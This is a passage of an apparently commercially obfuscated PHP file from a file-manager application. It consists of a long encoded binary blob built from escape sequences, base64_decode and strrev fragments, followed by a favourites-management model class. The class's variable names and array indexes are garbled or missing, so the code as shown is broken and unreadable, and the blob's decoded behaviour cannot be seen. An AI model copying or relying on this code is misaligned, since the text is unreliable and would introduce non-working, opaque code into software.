217\153\75\240\315\112\307\214\217\245".strrev('wLg+C\'Aj&xYW*FlbgN[+mH')."\375\323\13\64\374\351\331\257\375\343\17\327\303\22\313\144\373\7\106\100\112\6\214\12\372\167\37\364\227\204\205\106\343\351\53\327\233\107\375\376\320\375\366\172\177\375\334\133"."\375\15\3\135\77\270\262\341\214\356\265\27\277\332\176\145\307\31\133\257\72\156\321\221\307\134\64\262\376\236\31\37\224\266\256\137\137\167\375\277\217\271\252\370\352\307\77\250"."\13\257\375\111\140\365\57\72\277\362\213\305\107\315\137\174\326\244\310\343\146\262\365\135\377\135\43\37\335\61\377\217\113\47\205\356\236\61\377\356\71\63\76\272\354\367\123\77"."\333\271\275\176\321\370\273\317\354\377\327\311\213\67\316\75\100\133\374\136\173\136\333\353\303\77\275\170\173\176\133\142\352\352\237\314\334\371\235\377\376\350\223\307\137\263\217\71"."\375\330\372\31\53\226\175\154\316\231\162\313\226\167\56\176\254\141\250\363\330\256\271\77\370\60\175\364\312\124\340\244\163\373\352\266\236\277\371\73\357\277\60\351\256\213\357\77"."\355\201\155\317\77\141\276\177\360\221\317\57\136\264\347\127\163\63\317\275\23\235\373\320\107\267\337\347\373\326\41\137\271\363\300\77\134\221\262\17\331\164\357\215\377\165\313\161"."\317\155\170\366\215\247\76\354\70\352\177\156\135\275\354\370\355\217\56\374\261\371\313\371\227\75\175\373\217\162\247\177\371\270\17\63\373\305\336\173\366\332\203\377\165\312\331\275"."\x81\x77\xae\x38\xa8\x27\x3d\x6d\xf1\xba\x6b\x76\x1e\x9a\xbb\xf7\xcf\x6d\xbf\x3d\x29\xf4\xeb\xe7\x9e\x9d\xfd\xd2\x85\x89\xa1\xe2\x8e\x95\x47\xff\x74\xc7\xa5\xaf\xb7\xbf\x70\x40\xfe\xc9\xd0\x9f"."\xd2\x7f\xf9\xd1\x41\xf\x1d\xd5\x79\x4d\xfa\xcb\xfb\xbe\xfe\xd4\xdd\xfb\x3f\x3c\xf9\xaf\xa5\xc7\xda\x7f\xfb\xe0\xfc\x57\xf3\x23\xa5\xb3\x9f\x79\xe6\xc6\xc4\x9d\xcd\x5f\x5f\x6d\xbc\x77\x52\xdb"."\257\16\177\343\241\171\241\207\237\333\57\20\175\262\362\255\357\77\331\272\377\43\227\36\264\145\350\240\313\332\36\330\377\373\117\117\171\163\341\127\247\176\175\337\120\323\357\36"."\170\163\163\327\352\103\166\234\373\230\157\363\244\137\114\131\70\173\237\375\77\134\67\351\205\225\223\73\176\376\354\67\177\377\365\217\214\302\355\147\177\165\325\371\107\277\266\163"."\166\345\320\153\17\370\316\364\372\167\346\71\47\237\272\257\255\356\371\162\364\57\357\354\73\373\202\147\266\174\313\372\170\341\203\63\247\137\174\330\376\363\27\136\360\217\133\276"."\x7c\xf2\xde\xf7\xec\x77\xc3\xfe\x7f\xfd\xdb\x49\xdb\xaf\x99\x7d\xf0\xaf\x1b\x72\xcb\x6e\xb8\x7e\xc7\x5b\x17\xff\xf4\xc5\xbf\xff\xe6\x6f\x5f\xbe\xfb\xd5\xe3\x3b\x7f\x7a\x8f\xef\x37\x3f\xfb\xcf".base64_decode('pr3evuCt439yyxlnfOW0d4//0fj+e7938mt/OXfvHTe8eftrLect+/V1geU3WRe/').base64_decode('2ZsbmHPf7oUzd++79LIf5/7ytUkdd+0T//aB2gvvPLjq0R+tio0FVsfv7HrngpYz')."\237\374\306\305\147\134\163\324\115\361\327\315\226\334\264\245\261\373\277\166\360\327\166\77\164\327\341\47\155\353\130\175\312\53\73\237\231\267\165\336\221\352\117\77\370\172\140\357"."\357\34\266\367\300\343\312\271\47\356\312\237\333\371\315\221\312\266\355\347\76\170\310\366\163\276\325\221\256\364\376\360\342\63\234\263\177\374\375\33\237\73\270\71\170\362\73\335"."\x1b\x1e\xd9\x6f\xdf\xe8\xda\x67\xa7\xe4\x8e\x3a\xba\xfd\x82\xff\xee\xd9\xfb\x88\xb3\xbf\x79\xd4\x89\xaf\x1e\xb9\xf7\xfa\x8b\x66\x1c\x76\x66\x68\xe9\x77\xcd\xab\xcf\xd8\x73\xfb\xe2\xef\x37\x4f".base64_decode('PSv9wOGrcsuUZScdfuzISb8/zHfAQ8l75n7675mxyi8vOPji39z44zOffmjm90v3').strrev('+ݯ=}k=^q+{4?cvU3f').base64_decode('N/Lb+Y8+fsBPfvbtT2fv/+a0sycFosWFt174nabuC/d+4OjWtUueeznz+5P2XqJr')."\x8f\x3e\xde\xf8\xda\x9e\xd4\xaf\x9f\x3d\xa0\xee\x96\xfd\xb7\xfc\x7d\xfd\xf6\x8d\x3b\x9e\x2f\x8d\x9c\xf3\xfe\xf2\xcd\xef\x9d\x73\xe4\x65\xe3\xf7\x3d\xf9\xed\x74\x20\xbe\xff\xe8\x55\x83\x4b\x2f"."\372\303\237\267\245\356\274\370\17\327\334\362\315\37\74\274\360\204\115\27\156\73\164\315\7\251\272\203\236\156\273\372\237\137\352\177\344\221\225\367\357\63\263\164\365\127\337\316"."\277\374\256\157\362\273\333\312\247\375\117\117\300\177\315\133\67\14\36\375\352\45\223\356\176\243\57\150\256\373\257\107\133\16\272\154\367\241\207\277\177\312\277\37\270\372\322\137"."\236\171\324\237\166\275\177\351\226\237\236\167\357\317\37\250\73\163\257\327\356\332\262\360\107\155\77\237\167\137\356\351\7\3\147\37\370\322\254\207\2\127\257\373\346\243\307\366"."\354\373\312\261\347\75\265\175\332\103\57\177\20\174\372\346\71\323\356\232\367\275\277\72\227\335\177\305\17\317\151\334\53\31\110\156\377\322\145\57\235\164\332\272\167\157\177\366"."\xbb\x2d\xcd\x5d\x1b\x17\x9d\x70\xd1\xa1\xc5\x4d\x57\x2f\xe\x4f\xbf\xef\xca\xe5\x7\xcf\xeb\x98\xbb\xe3\x85\xeb\xdf\xd8\xbc\xe5\xde\x9f\x3e\xef\xdb\xcb\xdf\x75\xdc\xcf\x6f\xdf\xef\xd4\x9b\x5e"."\66\147\36\365\111\247\232\137\267\367\143\347\137\177\313\57\157\76\150\145\164\317\57\337\372\373\247\233\256\272\342\301\263\277\364\243\3\215\323\16\72\351\137\277\236\373\107\277".base64_decode('ufcb/3jkiTNPLjdEV4476/8yqfLera3nfHPFih9ct+krZzw/8sDYiwte3hDoeOXO')."\xdf\x7e\x74\xde\xf0\xfb\xdb\x4e\x5f\xe7\xdb\x79\xc4\xca\x3f\xef\x37\x92\x68\x71\x6e\xfd\x59\x79\xca\xbf\xb6\x3d\xf1\xb3\xca\x1b\xb3\xaf\x7d\xfb\xe5\x99\xf\x3f\xf1\xa7\x81\xb1\x21\xed\x6f\xcf".strrev('zmg%gWw}y>')."\xb8\x36\xf8\xd9\xd8\x7f\xfe\x7c\xd6\x6d\x8f\x7d\x36\xfe\xe9\xbb\x4f\x7f\x78\xcc\xa6\xb1\x48\xec\xc5\x17\xda\x37\xfd\xcf\x7e\x8b\xbe\x7b\xde\xae\x1f\x5f\xf3\xc9\x4f\xeb\xe7\x5c\x3a\x7d\xfa\xde"."\x53\xe\xdd\x39\x76\x48\x62\xdf\xff\x1e\x3a\x76\xaf\x8e\xd9\x1f\x6f\xb9\xee\xf4\xb\xfe\xb9\x74\xb6\x75\xc2\xae\xc3\x6e\x99\xbc\x67\xf5\x9c\x83\xf\x6d\x7a\xf0\x84\x67\x56\x7d\xff\x90\xeb\xeb".base64_decode('P737/coza5+7eG5905PqWU8fV2y88Otn7lN/Vs/k05+I/uO8U/delU5ZyVvuGlx9').base64_decode('/uY7R7550dH+l058ato+P1i37IZpW4+46IiRkUtX7+i7ZOttp3ce8uLiX+lfsp7d')."\31\134\161\337\161\367\64\76\330\160\335\357\156\77\353\376\165\47\372\377\175\353\315\316\17\26\330\367\237\231\216\75\163\354\63\107\274\276\371\341\233\267\135\267\264\355\204\111"."\127\306\116\173\53\272\364\320\37\156\171\141\353\202\33\62\346\275\43\321\137\76\376\301\364\155\253\356\136\267\327\244\115\147\177\345\245\311\313\202\177\277\174\356\163\373\237\372"."\x64\xf1\x9e\xc3\x7f\xf1\xe2\xce\x3b\xfa\x4e\xfe\xe4\xe3\x5f\x6f\xfe\xe0\xb7\x7b\xb2\x81\xab\xcf\xda\x78\xc3\x1b\xfb\x64\x4e\x1c\xa9\xdf\xbc\xf5\x8f\x37\xae\x7c\xfc\xf9\xbf\x96\x7\xce\x5d\xff"."\364\203\247\356\56\137\173\336\251\267\235\177\254\377\315\247\307\157\173\42\327\377\172\166\343\323\337\215\315\336\367\255\330\366\277\370\316\75\276\245\341\361\253\326\377\356\362\371".base64_decode('lzx6/CfbH1z8wVGPtJxy5x9X/+aF5wLmP/3Pv/3O24UX06vT1z112ZVvJqde/qfD')."\x6e\xf7\xaf\x3f\x62\xb8\x2d\xf1\xd1\xb3\xef\x5d\x78\xf8\x8d\xad\x57\xde\x18\x7f\x38\xbc\xfd\xc1\x78\xe9\x96\xab\xef\xf\x1c\xd8\x71\xe1\xd8\x87\xd3\xe7\xee\x7b\x72\xe8\x3b\x3f\xfe\xd3\x91\x6f"."\175\373\317\367\277\172\367\225\315\147\276\166\145\175\370\375\341\226\154\357\332\347\203\117\35\271\317\327\317\135\335\273\356\33\353\363\347\370\227\135\163\177\343\372\15\347\266\56"."\356\110\255\276\361\207\375\255\7\376\346\367\213\117\173\265\51\372\253\235\37\135\374\263\355\245\246\347\373\356\276\166\361\201\167\204\276\167\316\261\377\152\270\76\373\207\111\233"."\146\175\343\274\344\236\207\277\163\363\221\177\332\63\147\325\145\227\134\171\313\266\133\67\157\236\334\165\354\246\3\302\361\157\335\372\334\41\55\215\63\356\210\174\367\220\171\315".base64_decode('PS8ffs4Zry4ZdLI/0x9Z/tDWW186cuzvl2z6Z+ir/T9/6+QZx0wP/XnV7qsKetuk')."\x5d\x9f\x4d\x9e\x7b\xe5\xc9\xfb\x3d\xbe\xa0\x7c\xca\x82\xf5\x4b\xc6\x8d\xd4\xef\x8b\x17\x6d\xbb\xf4\x37\x77\x7c\x76\xe8\x4d\x47\x3f\x76\xed\x35\x75\xdf\xb9\xff\xdd\xa5\x8d\x67\xdc\x76\xe4\xba"."\311\323\2\261\43\236\77\357\264\35\321\263\256\237\371\367\353\226\377\61\175\314\105\157\74\170\351\222\107\356\217\15\216\377\327\15\345\47\256\272\160\77\355\331\337\155\336\174"."\xd9\x55\x1f\xed\x73\xdf\x57\x97\x3e\xfa\x9f\xbf\x3e\x1a\xfb\xe5\xfc\xd0\x93\x7\x3e\x73\xd4\x15\xbb\x1f\xf8\xcb\x5b\x77\xfe\xee\xcc\x67\xaf\xfe\x55\xe9\xe5\xf7\x6e\xbf\xf1\xb9\x33\x4e\x32\xcf"."\xde\xf5\xc4\xdf\xff\x55\xda\xb1\xea\xb9\x95\xe9\xf1\xf7\xbb\x9e\xda\xbe\xac\xe9\xe0\xbd\xae\xee\x7b\xe9\xd6\xdd\x77\x1d\x92\xfc\xb0\xb7\x39\xf1\x92\xd6\xfb\xbd\xe6\x63\xe6\x3f\xb1\x78\xe1\xf0"."\x87\x3d\x81\xec\x97\xd2\x17\x38\x6a\xe0\x2b\xab\x1f\x3a\x6d\x71\xfc\x1f\x87\xbd\x34\x18\xff\xc5\x11\x3b\xce\x5b\x7a\xcc\x29\xb7\x4e\x7d\xb0\xf9\x98\x15\x4f\x7d\xf0\xcc\x3\x77\xdc\x34\xfc\x87".base64_decode('22ZfMDVxe93sGy4/7ra1Lx7Sn7jsxsNff+yzoX+9ecNtr2wcemfXzbFFn+5+/777')."\132\77\331\371\344\173\361\37\135\361\311\73\352\53\73\376\375\346\373\317\375\360\204\53\356\35\375\317\307\37\277\362\112\347\175\257\174\372\341\307\117\77\364\336\143\13\133\76".strrev('?ny|--cw\\?geOy')."\16\276\175\117\160\303\275\253\156\230\163\351\232\27\266\137\361\322\277\136\336\164\355\13\157\14\236\172\352\157\257\132\377\301\61\47\155\323\332\6\263\363\267\376\376\17\377\274"."\145\321\344\57\37\264\365\332\333\76\214\154\273\43\261\332\177\363\166\63\145\215\154\362\371\276\61\62\345\274\251\307\74\370\265\377\354\365\230\265\370\133\133\53\147\355\163\326"."\x3f\x7e\xf6\xef\xc3\x2e\xfd\xea\x77\xbf\x7d\xd4\xfa\x7d\x2f\x79\xe8\xf2\x7d\x77\x5c\xbd\xef\x65\x4d\x97\x7e\x76\xcc\xc3\x93\x5e\xde\x70\xf9\xd7\x99\x1\xc6\xec\x39\xf3\x18\x61\x3f\x32\x36\x3a"."\10\122\253\231\364\247\157\160\164\230\253\340\32\345\334\370\330\0\160\152\240\130\156\217\347\312\375\131\20\362\115\157\202\233\333\121\155\154\320\250\14\320\310\334\31\240\362\63".strrev('QU3b8|2GJ|"Ҙ\'(I'."\r".''."\0".'f^ѷ'."\r".'q@ۙ7')."\133\347\332\223\304\365\212\214\106\205\132\2\125\252\304\5\172\153\345\123\10\341\354\16\227\32\254\247\0\332\31\356\174\360\233\57\72\103\275\277\230\56\345\45\117\43\360\46"."\x83\xfc\x1e\x0\xa9\x25\xc6\x21\x74\x81\x51\x92\x49\xbd\xf3\x4b\x80\x11\xea\x15\xd4\x29\xd\x53\x6a\xe6\x78\x49\x24\xa7\x4c\x9e\x58\xad\xa2\x11\xe0\x4a\xdd\x60\xe1\xb\x8f\x9a\x36\x34\x62\xb"."\137\227\34\253\173\214\333\141\142\5\52\174\50\162\345\127\133\216\260\134\276\70\155\127\204\52\214\271\152\363\44\136\152\104\147\306\272\114\336\322\323\325\23\344\111\155\174\173"."\x52\x56\x5d\xf8\xc2\x6a\x67\x5a\x59\xfa\xa8\xe\xc\xd5\x48\xd1\xc8\x28\xd1\xf8\x92\x48\x7b\x28\xda\x11\x49\x2e\x53\xfa\x75\x47\x11\xba\x24\xe4\x4d\xd\xf7\x56\x26\x42\x45\xa\x78\xb6\xaa\xfb"."\xf8\xf3\xe\x38\xe8\xef\x43\x14\xba\x3f\xcb\xb9\x18\x5b\xf0\x2b\x92\xda\x9c\xf4\x8e\x96\xbb\x59\xba\xfe\x74\xab\xaa\xc5\x12\xb6\xc1\x29\x54\xd5\xc1\xa2\xd2\x1a\xa5\xb\x42\x86\x28\x15\x2e\x5b"."\172\165\371\61\35\333\36\110\75\226\52\124\152\364\6\312\327\376\2\171\203\103\56\215\10\17\275\64\121\347\215\322\260\141\33\142\343\263\32\143\162\353\241\216\356\110\114\15"."\105\243\361\25\56\365\102\41\44\266\370\213\47\131\371\201\24\151\146\304\44\320\257\127\273\150\3\7\127\262\237\172\217\330\202\116\237\354\252\257\314\356\110\340\105\110\376\136".base64_decode('Ao1Krx2VLc2wdSmBPsIzFUxetELB9c5hISdFK+6TteanVPoBliZ5A6xVIIEfsP9f')."\x77\xd5\xc8\xa\xaf\x5c\x46\x96\xa9\x6a\x70\xb\x45\xfa\x94\x42\xbb\xfc\x26\x26\xfb\x66\xd5\x8b\x4e\x5f\xf8\x36\x94\x4f\x5c\xd2\xa8\xc4\x6f\x11\x7b\xa2\xce\x24\xec\x7\xd0\xc6\x34\x2d\x12\x57"."\251\13\37\361\11\304\30\133\143\145\371\132\57\230\15\162\20\323\0\166\76\30\146\167\111\70\42\30\1\134\34\132\303\237\243\354\41\342\172\261\220\213\261\14\114\135\24\341".base64_decode('CYCz61rb88qVV7PW9ax81TfIgwo0bw0eDiq5VgwOxfjzKKKqN6dGB1C2ImRIvIDS')."\xaa\x34\xd1\x7\xd7\xf8\x83\x17\xca\x2\x66\x6f\x2d\x3e\x40\xdc\x85\x85\x8b\x65\xc7\xc5\x3a\x77\xc9\x2a\xf4\xd2\xdc\xd0\x4\x42\xe9\x8\xd6\x8\x2b\x1c\x99\xc5\xb1\xaa\x4\x97\xe0\x28\xca\xfa"."\305\265\27\361\163\37\245\234\51\303\217\40\144\154\17\101\237\115\244\74\272\17\361\66\272\123\375\152\22\255\376\377\245\42\315\114\112\72\235\356\106\252\73\144\173\217\72\101"."\166\341\7\241\362\346\210\373\355\104\234\342\175\2\312\365\370\223\264\151\210\131\260\374\134\225\273\222\257\352\331\25\205\74\212\253\240\245\16\263\210\175\111\61\36\220\24\226".base64_decode('Pj2F/qThlx1n3k5QRAWfbOSLqj1vFLIW16ARCd26YMxJLaxEorHHf8lLch0MJ8NL')."\x2f\xb5\x1e\x9\xc3\xae\xff\xdc\x4f\xd7\x88\x17\x81\xc4\xd9\xe9\x7e\x33\x85\xdf\x3\xdb\x62\x33\xd8\x8e\xeb\x4d\x9e\x94\x99\xd2\xfa\x7d\x94\x22\xc3\x58\x4d\xc4\xda\xc6\xe4\xb0\xac\x51\x4b\x46".base64_decode('gTKZ8CzL53uhVIA9xZf1kXfiKKrzPiUj7TSOP+Xa/QWzTyskqOKZy3rGQtwUVzR1')."\25\243\111\101\255\134\26\27\120\362\221\211\376\165\231\57\102\136\157\252\113\45\106\370\52\275\247\116\212\65\47\135\135\321\104\270\306\252\224\42\124\352\357\112\265\44\76\117"."\326\206\246\27\166\302\116\16\212\243\176\366\320\33\72\0\230\334\44\273\65\345\42\350\116\351\221\370\140\365\55\53\126\251\3\214\42\153\243\302\65\167\100\146\304\240\200\262".base64_decode('QBFLw7WR8VJC1LCPBAimkAn3z0nlK9j9TBFd6uSnQ89xLgbHxWkuew4RShjel/bY').base64_decode('Z/hDgT46MvFALH0W0MefAPRRD5M+ePjPJ+wdP++lI2GV534wGveZq2hWsRNeToKD')."\xca\x53\x21\xe1\x5\x5c\xca\xac\x96\xb1\x8a\xbb\xe5\x52\xa5\x28\xee\xe8\x51\xc4\xcd\x59\x55\xd\x58\x1a\x61\xc5\x2a\xf8\xc8\xcd\xba\x8f\xf9\xd3\xf3\x80\x43\x8c\x4a\x9e\x99\x1a\x30\xfc\xe2\x36"."\250\246\56\141\227\262\156\174\325\262\240\317\142\267\223\336\142\206\153\325\251\226\56\114\165\250\277\323\52\324\276\252\230\155\236\61\153\236\54\226\20\363\43\256\362\300\361\0"."\134\75\2\235\41\146\134\161\257\47\205\71\131\225\367\55\311\164\53\125\127\277\320\351\301\335\377\273\225\57\350\176\132\124\122\151\256\176\351\270\12\2\144\21\112\312\76\322"."\121\346\121\324\60\261\46\205\55\266\17\75\274\304\273\234\356\157\321\203\277\306\70\244\23\113\354\4\372\154\242\131\300\334\161\21\113\271\35\113\163\263\202\265\70\36\2\11".base64_decode('xl4Z5PVy3dt3AhiQg4hsiSWSW3RMrxAHV8cnGpEhxksFOHCxHbfYUxJK+V9MIONu')."\x28\x23\x24\xd4\x74\x6a\x8c\x3c\xb8\x98\xe1\x8d\x1a\xcf\x62\x4a\x5a\xf\x9f\xd3\x6f\x4a\x97\x71\x4e\xce\xaf\x39\x7e\x69\x41\x4a\x82\x3f\xdd\x89\x93\x9\x6\xba\x45\x30\x9c\xee\xb1\x7a\x9a\x47".base64_decode('1UQba33KRIWqiTPp9Uzh6Usiy3BtZtM5Ab/OkJP8LqiTF4wH3aGu3Sq5LpYN3UhD')."\xf2\x36\xa8\x6e\x5a\x7a\x26\x51\x88\x70\x88\xcc\x7\x6\x1\x7b\x98\x38\x30\x25\xc6\x8e\xa1\x25\xdc\x0\x52\x93\x54\xab\xdc\x72\x25\xc\x5d\xe9\x65\x5c\x53\xe\xb\xa8\x63\x7c\x1e\x67\xe\x61"._kodDe('KczGcVJ/Fm1sQlNNG/C+J4kG+Po2wPdrPiOpeRsaNFfcYT9g5H2GiCkvkh2Y+dSRZQ==')."\x2\x3a\x24\x4a\xef\xf4\x6b\xd2\x69\x29\xe\x46\x11\x8a\x55\x8a\x22\x22\x9\x63\x9\xff\xc3\x33\x5d\xe6\xc6\xd8\x63\x95\x67\xe7\x33\x23\x66\xdb\xf3\x76\x2c\x75\xb7\x4b\xc3\x8c\x4c\xff\xff\xfd"."\74\342\377\255\127\21\147\65\61\261\271\353\355\345\45\100\54\63\372\154\134\162\351\115\105\266\236\161\270\17\315\3\140\25\361\147\306\245\70\327\354\145\136\313\230\63\63\215"."\x5d\x15\x69\x85\x82\x74\xb4\xd6\x66\x2f\xaa\x1e\xad\x45\x8b\x6f\x90\xbf\x78\x5a\x2b\xe2\xb5\xae\xf3\x3e\x60\xbb\x86\x3d\x5\x4f\xde\xa6\x5d\x5b\xab\xa0\xc0\x3c\x9c\x8b\xa9\xb1\x8e\x69\x12\x23"."\x5e\x4b\xd5\x37\xbb\x78\xbe\xa2\x6e\x87\xd8\x12\x91\x51\x55\x4c\x7c\x15\xd1\x22\xcc\x1\x5c\x90\x85\x32\x98\x61\x23\xce\x18\x0\x5e\xb2\x59\x6d\xbc\xcc\x58\xbb\x46\xc0\xec\x6b\x17\x33\x74\x44"."\214\364\1\53\311\230\310\225\124\205\277\122\256\131\160\45\312\0\206\131\303\126\311\154\2\135\65\272\75\17\160\322\102\266\14\115\267\145\260\244\133\127\175\351\137\335\22\307"."\2\162\25\254\116\355\226\75\361\7\330\233\274\57\262\117\367\127\177\214\132\63\140\361\107\2\13\34\230\10\211\334\305\220\113\320\32\165\350\252\115\212\62\23\354\233\332\273"."\227\77\202\52\344\151\70\44\217\227\141\201\36\313\44\304\235\73\225\13\141\44\25\125\351\211\360\51\201\252\263\206\141\76\27\370\21\307\45\56\373\14\223\170\310\147\125\173".base64_decode('uxuIYQ6sXsQwdJpiHUjvb+P9JRxPYjdhRO4nn+DMVk5SNYckl3TOlh8jcdfExgPu')."\175\265\260\126\261\214\151\331\122\61\236\136\253\54\136\141\262\364\101\316\303\157\45\73\256\271\20\217\35\170\37\71\40\74\71\145\263\135\334\66\334\307\312\111\322\165\45\42".base64_decode('vLPuV1NIJklmPkqhBenCzX3fyV27V2HNihGVskkt5voO/WJ7wohwaEGy6VVCSHqG')."\333\133\313\375\174\273\164\73\232\41\53\57\134\175\1\46\356\345\44\232\203\125\303\134\221\70\16\74\351\265\36\40\317\151\303\202\140\22\164\171\66\333\251\15\327\50\232\145"."\234\11\117\105\51\274\50\41\270\44\363\145\241\310\256\217\170\137\144\16\310\46\317\256\202\325\251\302\274\131\252\57\256\102\304\60\161\132\255\341\223\215\346\256\56\233\117\363"."\x45\x25\x92\xe8\xbb\x17\x5c\x77\x4a\xe2\x81\xb0\x5\x87\x50\xaa\xa2\x43\xe1\xc\xbd\xf8\xa4\xdb\x58\x9b\x17\xe3\x73\x86\xca\x10\x7b\x19\xbf\x2b\xd5\xc3\xd5\x61\xf1\x8\xa3\x1e\x3c\x59\x20\x4d"."\x90\x9a\xaf\x29\x74\x90\x96\x80\x5e\x88\x4a\xcd\xc9\x17\xa2\x13\x56\x48\xd6\xfe\x88\x58\x95\x6e\x10\x4b\x56\xee\x22\x83\x1d\x7b\xa6\xb\xf8\x12\x8a\xe4\x3\x83\x92\x9\x39\xd3\xd5\x1d\xef\xd4"."\x12\x86\x44\x2c\x5f\x9a\x58\x24\xc2\x58\x9a\x17\x72\x67\xd1\xf2\xba\xa7\xf7\x72\x5\xef\xc8\x68\xd\x7b\xc4\x70\x32\x79\x89\x4b\xaa\xce\xac\x4e\xb7\xaa\x80\xa\x1f\xaa\xdd\x5f\x6f\xaf\x18\x4c"."\275\274\243\150\244\252\77\222\126\105\312\254\121\207\366\250\146\65\232\205\153\12\322\325\125\167\2\20\340\272\64\13\327\255\312\146\225\45\121\213\124\317\321\52\366\4\303\253"."\6\36\310\37\262\65\6\354\341\322\151\321\211\340\131\263\160\365\347\140\305\171\113\23\201\105\355\136\10\71\203\347\166\273\126\57\152\26\236\260\27\242\264\347\24\250\205\153"."\131\116\15\354\52\324\34\252\361\270\310\253\241\164\101\333\304\147\264\354\361\252\106\266\254\301\121\133\307\43\121\163\353\333\156\345\13\117\272\14\30\360\234\12\324\25\254\66"."\304\65\26\214\101\241\217\306\164\311\247\270\360\173\245\64\130\62\371\231\221\25\272\202\130\317\71\144\171\1\131\325\232\173\235\226\52\222\63\332\232\252\355\76\314\343\127\163"."\323\5\215\311\357\45\233\0\312\376\230\210\156\327\335\36\157\145\307\127\64\237\175\244\40\311\11\75\42\72\41\161\160\51\7\324\20\142\221\44\240\353\204\50\234\266\47\121"."\54\142\115\270\154\61\50\235\0\327\3\364\146\261\35\337\140\363\73\45\342\255\225\236\253\64\73\151\132\216\17\347\245\314\62\371\155\63\35\107\334\264\123\26\237\20\203\370"."\x70\xf4\x49\x8a\x24\x28\x24\x2e\x90\x70\xa7\xc8\xcd\x4\x59\xb6\x4\xbd\x90\x20\xdc\x71\x62\xde\x39\xa9\xd3\x5c\x82\x94\x5c\x11\x7c\xe3\xc1\x23\xf2\xd9\x7\x77\x9d\x9d\x15\xcf\x6d\xac\x48\x40"."\214\152\237\71\312\174\141\142\33\160\321\37\174\111\41\201\114\320\47\260\374\144\125\30\142\135\157\7\151\116\20\336\120\360\153\230\120\204\267\330\2\3\345\176\127\165\372\242".base64_decode('FVcR/bwWQKIqmqAO1IncC4xmkqlkVVZPKJlcEU90UH/rVdmklqRaVJXV0xWPTZQX').base64_decode('7g5FolV5WAsppgpfZTQr0kN6Sa7yJupFpH2Z6Am5NBaC+nLeZPJ3dpGR1AqMY5cs')."\100\365\242\160\122\47\352\224\214\314\240\20\364\151\22\361\156\63\157\222\74\340\176\274\310\243\354\307\26\51\64\204\65\210\142\320\166\202\75\275\212\375\317\363\275\316\11\151"."\161\13\36\160\335\226\113\351\144\77\20\4\43\255\71\371\240\45\11\123\153\2\110\26\362\126\137\72\220\134\1\0\334\261\245\354\205\320\1\263\117\272\124\240\154\14\330\143"."\x2\x48\x25\x2d\x31\x1a\x76\x65\x3b\x5a\x7f\xcd\x4b\x63\x2a\xd9\xc3\x3b\x5e\xc8\xdc\xfe\xf\xfa\xaf\xa8\x6e\xd5\xab\x0\x0", 10, -8))); goto Bԣ; C轙: class UserFavModel extends ModelBase { protected $tableName = "\165\163\145\x72\x5f\x66\141\166"; protected function cacheFunctionAlias($۬) { $ܜ =& $_SERVER[]; return array($ܜ[1974] => array(USER_ID, $ܜ[2304])); } protected function listData() { $ =& $_SERVER[]; $֍ = array($[1665] => USER_ID, $[484] => 0); $ = $[2305]; $幪 = $this->field($)->where($֍)->order($[2306])->select(); return $幪 ? $幪 : array(); } protected function resetCache() { } protected function listView() { $ˎ =& $_SERVER[]; $ = $this->listData(); $Ļ祼 = array_filter_by_field($, $ˎ[33], $ˎ[416]); $ۿ = array_to_keyvalue($Ļ祼, $ˎ[12], $ˎ[84]); if (!$ۿ) { return $; } $ٻ = 2000; $ = array($ˎ[417] => array($ˎ[418], $ۿ)); $̸ = Model($ˎ[829])->listSource($, $ٻ); $̸ = array_merge($̸[$ˎ[83]], $̸[$ˎ[82]]); $̸ = array_to_keyvalue($̸, $ˎ[402]); foreach ($ as $ => $ܜ) { $ = $̸[$ܜ[$ˎ[84]]]; $ = $ ? $ : array(); $[$] = array_merge($, $ܜ); } return $; } protected function addFav($, $Ū = '', $Ψ = "\x73\x6f\165\x72\143\x65") { $ =& $_SERVER[]; $ = array($[1665] => USER_ID, $[484] => 0, $[422] => $Ψ, $[421] => $); if ($this->where($)->find()) { return !1; } $ = array($[1665] => USER_ID, $[484] => 0); $ؽͳ = $this->where($)->max($[1887]); if (!$ؽͳ) { $ؽͳ = 0; } if (!$Ū && $Ψ == $[416]) { $秮 = Model($[1343])->where(array($[417] => $))->find(); if (!$秮) { return !1; } $Ū = $秮[$[32]]; } $Ū = $this->getAutoName($Ū); $ = array($[1665] => USER_ID, $[484] => 0, $[420] => $Ū, $[421] => $, $[422] => $Ψ, $[1867] => $ؽͳ + 1); return $this->add($); } protected function remove($萌) { $шر =& $_SERVER[]; $ث = array($шر[1665] => USER_ID, $шر[419] => $萌); return $this->where($ث)->delete(); } protected function removeByName($׳) { $ =& $_SERVER[]; $ٮ = array($[1665] => USER_ID, $[420] => $׳, $[484] => 0); return $this->where($ٮ)->delete(); } protected function rename($㲐, $ԯ) { $˨ =& $_SERVER[]; if ($㲐 == $ԯ) { return !1; } $ל = $this->getAutoName($ԯ); if ($ԯ != $ל) { return !1; } $ηϖ = array($˨[1665] => USER_ID, $˨[484] => 0, $˨[32] => $㲐); return $this->where($ηϖ)->save(array($˨[32] => $ԯ)); } protected function resetSort($Ƹ߮) { $ =& $_SERVER[]; $Ƹ߮ = is_array($Ƹ߮) ? $Ƹ߮ : array(); $ƛ = array($[1665] => USER_ID); for ($ = 0; $ < count($Ƹ߮); $++) { $ƛ[$[419]] = $Ƹ߮[$]; $this->where($ƛ)->save(array($[1867] => $ + 1)); } return !0; } protected function moveTop($å) { $ =& $_SERVER[]; $Ц = array($[1665] => USER_ID, $[484] => 0); $ = $this->where($Ц)->where(array($[32] => $å))->find(); if (!$) { return; } $ = $this->field($[399])->where($Ц)->order($[2306])->select(); $ = array_to_keyvalue($, $[12], $[399]); $䄵 = $; $ = array_remove_value($, $[$[399]]); array_unshift($, $[$[399]]); return $this->resetSort($); } protected function moveBottom($Ԑ) { $ =& $_SERVER[]; $ = array($[1665] => USER_ID, $[484] => 0); $܀愄 = $this->where($)->max($[1887]); $ = array($[1887] => $܀愄 + 1); return $this->where($)->where(array($[32] => $Ԑ))->save($); } private function getAutoName($ܸ) { $ǃ =& $_SERVER[]; $Ü = array($ǃ[1665] => USER_ID, $ǃ[484] => 0); $ӡ = $this->field($ǃ[32])->where($Ü)->select(); $ӡ = array_to_keyvalue($ӡ, $ǃ[12], $ǃ[32]); if (!$ӡ || !in_array($ܸ, $ӡ)) { return $ܸ; } for ($ܣ = 0; $ܣ < count($ӡ); $ܣ++) { if (!in_array($ܸ . "\50{$ܣ}\x29", $ӡ)) { return $ܸ . "\x28{$ܣ}\51"; } } return $ܸ . "\50{$ܣ}\x29"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\x74\x65\155\x2e\x6a\157\142\x4c\x69\163\164"; public $field = array("\x6e\141\155\145", "\144\x65\163\x63", "\x73\157\162\x74"); const 